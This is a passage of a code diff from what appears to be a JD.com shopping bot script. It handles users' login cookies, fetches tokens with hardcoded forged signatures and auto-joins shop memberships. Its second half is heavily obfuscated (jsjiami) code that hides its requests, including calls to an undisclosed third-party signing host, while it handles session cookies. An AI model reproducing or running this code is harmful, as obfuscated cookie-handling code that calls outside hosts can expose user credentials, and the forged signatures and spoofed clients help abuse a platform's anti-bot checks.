(resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + $.cookie = cookie + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + } + ); + }); +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)", + "Accept-Language": "zh-Hans-CN;q=1", + "Accept-Encoding": "gzip, deflate, br", + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function random(min, max) { + return Math.floor(Math.random() * (max - min)) + min; +} +function getUUID(format = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = (Math.random() * 16) | 0, + v = c == "x" ? r : (r & 0x3) | 0x8; + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36); + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }); + }); +} +// prettier-ignore +var _0xod7='jsjiami.com.v6',_0xod7_=['‮_0xod7'],_0x1acd=[_0xod7,'\x53\x33\x4a\x54\x56\x32\x4d\x3d','\x54\x47\x4e\x4c\x62\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x56\x45\x56\x4a\x59\x57\x38\x3d','\x55\x6d\x78\x6d\x59\x32\x4d\x3d','\x63\x45\x39\x31\x52\x6b\x4d\x3d','\x64\x6e\x5a\x75\x57\x45\x4d\x3d','\x62\x33\x64\x32\x5a\x47\x55\x3d','\x59\x33\x70\x4b\x62\x47\x67\x3d','\x51\x55\x64\x59\x59\x30\x6b\x3d','\x54\x30\x4a\x58\x55\x45\x59\x3d','\x56\x57\x6c\x55\x51\x33\x63\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x52\x57\x52\x36\x62\x57\x67\x3d','\x55\x48\x56\x58\x62\x6b\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x52\x33\x5a\x75\x55\x6c\x55\x3d','\x52\x6c\x5a\x71\x53\x30\x55\x3d','\x56\x47\x35\x69\x63\x30\x73\x3d','\x61\x6e\x6c\x47\x54\x31\x41\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x59\x55\x78\x36\x61\x31\x63\x3d','\x56\x6d\x74\x75\x62\x33\x51\x3d','\x54\x56\x6c\x6f\x54\x45\x4d\x3d','\x62\x58\x64\x34\x52\x47\x30\x3d','\x65\x6c\x5a\x70\x59\x57\x34\x3d','\x52\x55\x46\x4a\x51\x6b\x45\x3d','\x53\x57\x70\x7a\x59\x6b\x6f\x3d','\x56\x55\x74\x79\x61\x46\x55\x3d','\x56\x32\x74\x69\x53\x45\x77\x3d','\x54\x46\x4a\x49\x61\x6b\x77\x3d','\x54\x30\x4e\x44\x54\x6e\x63\x3d','\x56\x31\x70\x7a\x57\x56\x6f\x3d','\x56\x33\x4e\x72\x63\x48\x67\x3d','\x61\x56\x42\x6b\x5a\x58\x67\x3d','\x51\x6e\x64\x6c\x55\x31\x63\x3d','\x65\x57\x35\x5a\x63\x58\x49\x3d','\x63\x47\x74\x50\x64\x58\x4d\x3d','\x57\x6d\x56\x5a\x62\x6c\x67\x3d','\x61\x56\x68\x4e\x54\x33\x6b\x3d','\x62\x56\x5a\x33\x65\x56\x67\x3d','\x55\x47\x4a\x50\x51\x55\x49\x3d','\x54\x33\x68\x74\x56\x57\x59\x3d','\x62\x55\x31\x52\x61\x33\x59\x3d','\x53\x57\x4a\x45\x62\x56\x45\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x59\x6d\x52\x6e\x63\x30\x30\x3d','\x57\x6b\x74\x34\x53\x6b\x34\x3d','\x59\x30\x56\x51\x63\x6d\x4d\x3d','\x65\x45\x64\x72\x54\x47\x38\x3d','\x5a\x45\x74\x57\x64\x6d\x67\x3d','\x51\x58\x68\x73\x63\x6d\x6f\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x64\x6c\x6c\x43\x5a\x45\x67\x3d','\x51\x6b\x31\x47\x61\x33\x6b\x3d','\x61\x58\x56\x36\x61\x31\x45\x3d','\x5a\x30\x68\x33\x52\x58\x6f\x3d','\x55\x32\x56\x4d\x52\x6e\x45\x3d','\x52\x57\x35\x59\x65\x6c\x6b\x3d','\x55\x48\x70\x34\x63\x55\x67\x3d','\x54\x6c\x52\x42\x55\x56\x41\x3d','\x61\x30\x56\x78\x65\x6e\x45\x3d','\x61\x6c\x5a\x59\x63\x48\x45\x3d','\x51\x57\x31\x4f\x63\x6b\x6b\x3d','\x63\x57\x6c\x43\x64\x32\x63\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x62\x46\x6c\x57\x65\x47\x73\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x52\x47\x5a\x61\x62\x32\x67\x3d','\x57\x45\x4e\x36\x62\x6e\x59\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x53\x6b\x64\x4a\x53\x6b\x6f\x3d','\x59\x30\x78\x31\x57\x56\x63\x3d','\x53\x6d\x56\x74\x64\x6b\x67\x3d','\x56\x46\x4e\x6c\x59\x55\x59\x3d','\x5a\x6c\x64\x6d\x54\x31\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x65\x6b\x39\x49\x64\x45\x67\x3d','\x56\x46\x70\x75\x51\x6d\x6f\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x61\x30\x64\x42\x55\x55\x51\x3d','\x56\x46\x6c\x48\x57\x48\x6f\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x65\x47\x52\x75\x51\x6c\x49\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x55\x6b\x70\x46\x55\x33\x6f\x3d','\x62\x48\x5a\x6c\x64\x6e\x67\x3d','\x59\x31\x68\x71\x63\x6e\x41\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x61\x57\x4a\x49\x5a\x48\x45\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x55\x64\x48\x65\x6e\x67\x3d','\x61\x58\x46\x34\x57\x55\x38\x3d','\x59\x56\x52\x6b\x65\x6d\x55\x3d','\x62\x56\x52\x51\x65\x55\x63\x3d','\x5a\x32\x56\x30','\x6a\x6b\x73\x6a\x45\x69\x48\x61\x6d\x69\x64\x53\x2e\x63\x54\x6f\x6d\x43\x2e\x76\x36\x68\x6c\x45\x45\x56\x50\x75\x56\x3d\x3d'];if(function(_0x47dca4,_0x2e45a0,_0x2d0d38){function _0x358c40(_0x4e0fee,_0x44d395,_0x5f1629,_0x6d2cae,_0x379df8,_0x59c1d4){_0x44d395=_0x44d395>>0x8,_0x379df8='po';var _0x24e0cd='shift',_0x197297='push',_0x59c1d4='‮';if(_0x44d395<_0x4e0fee){while(--_0x4e0fee){_0x6d2cae=_0x47dca4[_0x24e0cd]();if(_0x44d395===_0x4e0fee&&_0x59c1d4==='‮'&&_0x59c1d4['length']===0x1){_0x44d395=_0x6d2cae,_0x5f1629=_0x47dca4[_0x379df8+'p']();}else if(_0x44d395&&_0x5f1629['replace'](/[kEHdSTChlEEVPuV=]/g,'')===_0x44d395){_0x47dca4[_0x197297](_0x6d2cae);}}_0x47dca4[_0x197297](_0x47dca4[_0x24e0cd]());}return 0xdaf2e;};return _0x358c40(++_0x2e45a0,_0x2d0d38)>>_0x2e45a0^_0x2d0d38;}(_0x1acd,0x1d5,0x1d500),_0x1acd){_0xod7_=_0x1acd['length']^0x1d5;};function _0x27de(_0x4ab799,_0x2148e0){_0x4ab799=~~'0x'['concat'](_0x4ab799['slice'](0x1));var _0x38aa70=_0x1acd[_0x4ab799];if(_0x27de['HEabFd']===undefined&&'‮'['length']===0x1){(function(){var _0x48587b=function(){var _0x226fa7;try{_0x226fa7=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x302471){_0x226fa7=window;}return _0x226fa7;};var _0x2dcb25=_0x48587b();var _0x5d0b0e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2dcb25['atob']||(_0x2dcb25['atob']=function(_0x41138d){var _0x37290e=String(_0x41138d)['replace'](/=+$/,'');for(var _0x1da2f9=0x0,_0x27e844,_0x496c4d,_0x55ec30=0x0,_0x46993b='';_0x496c4d=_0x37290e['charAt'](_0x55ec30++);~_0x496c4d&&(_0x27e844=_0x1da2f9%0x4?_0x27e844*0x40+_0x496c4d:_0x496c4d,_0x1da2f9++%0x4)?_0x46993b+=String['fromCharCode'](0xff&_0x27e844>>(-0x2*_0x1da2f9&0x6)):0x0){_0x496c4d=_0x5d0b0e['indexOf'](_0x496c4d);}return _0x46993b;});}());_0x27de['ciicrd']=function(_0x35e622){var _0x1ca022=atob(_0x35e622);var _0x460af0=[];for(var _0x27de2b=0x0,_0x1b5b31=_0x1ca022['length'];_0x27de2b<_0x1b5b31;_0x27de2b++){_0x460af0+='%'+('00'+_0x1ca022['charCodeAt'](_0x27de2b)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x460af0);};_0x27de['qeLOEi']={};_0x27de['HEabFd']=!![];}var _0x4e1a4f=_0x27de['qeLOEi'][_0x4ab799];if(_0x4e1a4f===undefined){_0x38aa70=_0x27de['ciicrd'](_0x38aa70);_0x27de['qeLOEi'][_0x4ab799]=_0x38aa70;}else{_0x38aa70=_0x4e1a4f;}return _0x38aa70;};function getShopOpenCardInfo(_0x2dfe13,_0x2a9c59){var _0x169e2b={'\x69\x71\x78\x59\x4f':function(_0x237960,_0x2865f7){return _0x237960===_0x2865f7;},'\x61\x54\x64\x7a\x65':_0x27de('‮0'),'\x6d\x54\x50\x79\x47':function(_0x5db734){return _0x5db734();},'\x78\x64\x6e\x42\x52':function(_0x27ef1f,_0x2696d1){return _0x27ef1f(_0x2696d1);},'\x52\x4a\x45\x53\x7a':_0x27de('‫1'),'\x6c\x76\x65\x76\x78':_0x27de('‫2'),'\x63\x58\x6a\x72\x70':_0x27de('‫3'),'\x69\x62\x48\x64\x71':_0x27de('‮4'),'\x65\x47\x47\x7a\x78':_0x27de('‫5')};let _0x4540b3={'\x75\x72\x6c':_0x27de('‮6')+_0x169e2b[_0x27de('‮7')](encodeURIComponent,JSON[_0x27de('‫8')](_0x2dfe13))+_0x27de('‮9'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x169e2b[_0x27de('‮a')],'\x41\x63\x63\x65\x70\x74':_0x169e2b[_0x27de('‮b')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x169e2b[_0x27de('‫c')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x27de('‫d')+$[_0x27de('‫e')]+_0x27de('‫f')+$[_0x27de('‫10')]+_0x27de('‫11'),'Accept-Language':_0x169e2b[_0x27de('‫12')],'\x52\x65\x66\x65\x72\x65\x72':_0x27de('‮13')+_0x2a9c59+_0x27de('‮14')+_0x169e2b[_0x27de('‮7')](encodeURIComponent,$[_0x27de('‫15')]),'Accept-Encoding':_0x169e2b[_0x27de('‮16')]}};return new Promise(_0x24d014=>{var _0x45d140={'\x4b\x72\x53\x57\x63':function(_0x564cc4,_0x316683){return _0x169e2b[_0x27de('‫17')](_0x564cc4,_0x316683);},'\x4c\x63\x4b\x6e\x79':_0x169e2b[_0x27de('‫18')],'\x54\x45\x49\x61\x6f':function(_0x32cebc){return _0x169e2b[_0x27de('‫19')](_0x32cebc);}};$[_0x27de('‫1a')](_0x4540b3,(_0x497df1,_0x18ad2f,_0x1d037c)=>{if(_0x45d140[_0x27de('‮1b')](_0x45d140[_0x27de('‮1c')],_0x45d140[_0x27de('‮1c')])){try{if(_0x497df1){console[_0x27de('‫1d')](_0x497df1);}else{res=JSON[_0x27de('‫1e')](_0x1d037c);if(res[_0x27de('‮1f')]){if(res[_0x27de('‮20')][_0x27de('‮21')]){$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}}}catch(_0x487efd){console[_0x27de('‫1d')](_0x487efd);}finally{_0x45d140[_0x27de('‮25')](_0x24d014);}}else{console[_0x27de('‫1d')](_0x497df1);}});});}async function bindWithVender(_0x4bf9aa,_0x5a230c){var _0x5180ad={'\x4d\x59\x68\x4c\x43':function(_0x396660){return _0x396660();},'\x6d\x77\x78\x44\x6d':function(_0x4b2169,_0x405a0d){return _0x4b2169!==_0x405a0d;},'\x7a\x56\x69\x61\x6e':_0x27de('‫26'),'\x45\x41\x49\x42\x41':_0x27de('‫27'),'\x49\x6a\x73\x62\x4a':function(_0xcf4ea9,_0x3221b8){return _0xcf4ea9===_0x3221b8;},'\x55\x4b\x72\x68\x55':_0x27de('‫28'),'\x57\x6b\x62\x48\x4c':_0x27de('‫29'),'\x4c\x52\x48\x6a\x4c':_0x27de('‮2a'),'\x4f\x43\x43\x4e\x77':_0x27de('‫2b'),'\x57\x5a\x73\x59\x5a':_0x27de('‫2c'),'\x57\x73\x6b\x70\x78':_0x27de('‮2d'),'\x45\x64\x7a\x6d\x68':function(_0x148959,_0x176008,_0x319ba8){return _0x148959(_0x176008,_0x319ba8);},'\x50\x75\x57\x6e\x46':_0x27de('‮2e'),'\x47\x76\x6e\x52\x55':_0x27de('‫1'),'\x46\x56\x6a\x4b\x45':_0x27de('‫2'),'\x54\x6e\x62\x73\x4b':_0x27de('‫3'),'\x6a\x79\x46\x4f\x50':_0x27de('‮4'),'\x61\x4c\x7a\x6b\x57':function(_0x3768db,_0x1db8ba){return _0x3768db(_0x1db8ba);},'\x56\x6b\x6e\x6f\x74':_0x27de('‫5')};return h5st=await _0x5180ad[_0x27de('‮2f')](geth5st,_0x5180ad[_0x27de('‮30')],_0x4bf9aa),opt={'\x75\x72\x6c':_0x27de('‮31')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5180ad[_0x27de('‮32')],'\x41\x63\x63\x65\x70\x74':_0x5180ad[_0x27de('‫33')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5180ad[_0x27de('‮34')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x27de('‫d')+$[_0x27de('‫e')]+_0x27de('‫f')+$[_0x27de('‫10')]+_0x27de('‫11'),'Accept-Language':_0x5180ad[_0x27de('‫35')],'\x52\x65\x66\x65\x72\x65\x72':_0x27de('‮13')+_0x5a230c+_0x27de('‮36')+_0x5180ad[_0x27de('‮37')](encodeURIComponent,$[_0x27de('‫15')]),'Accept-Encoding':_0x5180ad[_0x27de('‫38')]}},new Promise(_0x2c2848=>{var _0x1f470d={'\x69\x50\x64\x65\x78':function(_0x4c0bea){return _0x5180ad[_0x27de('‫39')](_0x4c0bea);},'\x42\x77\x65\x53\x57':function(_0x240905,_0x2118e5){return _0x5180ad[_0x27de('‫3a')](_0x240905,_0x2118e5);},'\x79\x6e\x59\x71\x72':_0x5180ad[_0x27de('‫3b')],'\x70\x6b\x4f\x75\x73':_0x5180ad[_0x27de('‮3c')],'\x5a\x65\x59\x6e\x58':function(_0x2ff734,_0x50b6d9){return _0x5180ad[_0x27de('‮3d')](_0x2ff734,_0x50b6d9);},'\x69\x58\x4d\x4f\x79':_0x5180ad[_0x27de('‫3e')],'\x6d\x56\x77\x79\x58':function(_0x43cb7f,_0x5f0fa8){return _0x5180ad[_0x27de('‮3d')](_0x43cb7f,_0x5f0fa8);},'\x50\x62\x4f\x41\x42':_0x5180ad[_0x27de('‫3f')],'\x4f\x78\x6d\x55\x66':_0x5180ad[_0x27de('‫40')],'\x49\x62\x44\x6d\x51':_0x5180ad[_0x27de('‫41')],'\x62\x64\x67\x73\x4d':_0x5180ad[_0x27de('‫42')],'\x5a\x4b\x78\x4a\x4e':_0x5180ad[_0x27de('‮43')]};$[_0x27de('‫1a')](opt,(_0x311afb,_0x3b7aab,_0x4c2873)=>{var _0x53384e={'\x6d\x4d\x51\x6b\x76':function(_0x26e196){return _0x1f470d[_0x27de('‫44')](_0x26e196);}};try{if(_0x1f470d[_0x27de('‮45')](_0x1f470d[_0x27de('‫46')],_0x1f470d[_0x27de('‮47')])){if(_0x311afb){if(_0x1f470d[_0x27de('‫48')](_0x1f470d[_0x27de('‫49')],_0x1f470d[_0x27de('‫49')])){console[_0x27de('‫1d')](_0x311afb);}else{console[_0x27de('‫1d')](error);}}else{if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‫4b')],_0x1f470d[_0x27de('‮4c')])){_0x53384e[_0x27de('‮4d')](_0x2c2848);}else{res=JSON[_0x27de('‫1e')](_0x4c2873);if(res[_0x27de('‮1f')]){if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‫4e')],_0x1f470d[_0x27de('‫4e')])){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}else{console[_0x27de('‫1d')](_0x311afb);}}}}}else{Host=process[_0x27de('‮51')][_0x27de('‫52')];}}catch(_0x317968){if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‮53')],_0x1f470d[_0x27de('‮53')])){console[_0x27de('‫1d')](_0x317968);}else{$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}finally{if(_0x1f470d[_0x27de('‮45')](_0x1f470d[_0x27de('‫54')],_0x1f470d[_0x27de('‫54')])){_0x1f470d[_0x27de('‫44')](_0x2c2848);}else{_0x1f470d[_0x27de('‫44')](_0x2c2848);}}});});}function geth5st(_0x1c2dc4,_0x38bbf9){var _0xad3eae={'\x76\x59\x42\x64\x48':function(_0xb6682a,_0x1dbeb1){return _0xb6682a===_0x1dbeb1;},'\x42\x4d\x46\x6b\x79':_0x27de('‮55'),'\x69\x75\x7a\x6b\x51':function(_0x521e0c,_0x1ffbd9){return _0x521e0c!==_0x1ffbd9;},'\x67\x48\x77\x45\x7a':_0x27de('‮56'),'\x53\x65\x4c\x46\x71':_0x27de('‮57'),'\x45\x6e\x58\x7a\x59':function(_0x4fa54e,_0x1f1dc2){return _0x4fa54e===_0x1f1dc2;},'\x50\x7a\x78\x71\x48':_0x27de('‮58'),'\x4e\x54\x41\x51\x50':function(_0x3fd51b,_0x32a444){return _0x3fd51b(_0x32a444);},'\x6b\x45\x71\x7a\x71':_0x27de('‫59'),'\x6a\x56\x58\x70\x71':_0x27de('‫5a'),'\x41\x6d\x4e\x72\x49':_0x27de('‮5b'),'\x71\x69\x42\x77\x67':_0x27de('‫5c'),'\x6c\x59\x56\x78\x6b':function(_0x2a05e2,_0x15824){return _0x2a05e2*_0x15824;},'\x44\x66\x5a\x6f\x68':_0x27de('‫5d'),'\x58\x43\x7a\x6e\x76':function(_0x46d10b,_0x5b5da1){return _0x46d10b*_0x5b5da1;}};return new Promise(async _0x573221=>{var _0x1c0efb={'\x4a\x47\x49\x4a\x4a':function(_0x30195c,_0x3fe97e){return _0xad3eae[_0x27de('‮5e')](_0x30195c,_0x3fe97e);},'\x63\x4c\x75\x59\x57':_0xad3eae[_0x27de('‫5f')],'\x4a\x65\x6d\x76\x48':function(_0x41b061,_0x2c0980){return _0xad3eae[_0x27de('‫60')](_0x41b061,_0x2c0980);},'\x54\x53\x65\x61\x46':_0xad3eae[_0x27de('‫61')],'\x66\x57\x66\x4f\x54':_0xad3eae[_0x27de('‮62')],'\x7a\x4f\x48\x74\x48':function(_0x1029f8,_0x21337a){return _0xad3eae[_0x27de('‮63')](_0x1029f8,_0x21337a);},'\x54\x5a\x6e\x42\x6a':_0xad3eae[_0x27de('‫64')],'\x6b\x47\x41\x51\x44':function(_0x1b9d1f,_0x3ee921){return _0xad3eae[_0x27de('‫65')](_0x1b9d1f,_0x3ee921);}};let _0x23db17={'\x61\x70\x70\x49\x64':_0xad3eae[_0x27de('‫66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0xad3eae[_0x27de('‫67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1c2dc4,'\x62\x6f\x64\x79':JSON[_0x27de('‫8')](_0x38bbf9),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0xad3eae[_0x27de('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x27de('‮24')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2402da='';let _0x25911c=[_0xad3eae[_0x27de('‮69')]];if(process[_0x27de('‮51')][_0x27de('‫52')]){_0x2402da=process[_0x27de('‮51')][_0x27de('‫52')];}else{_0x2402da=_0x25911c[Math[_0x27de('‫6a')](_0xad3eae[_0x27de('‫6b')](Math[_0x27de('‫6c')](),_0x25911c[_0x27de('‮6d')]))];}let 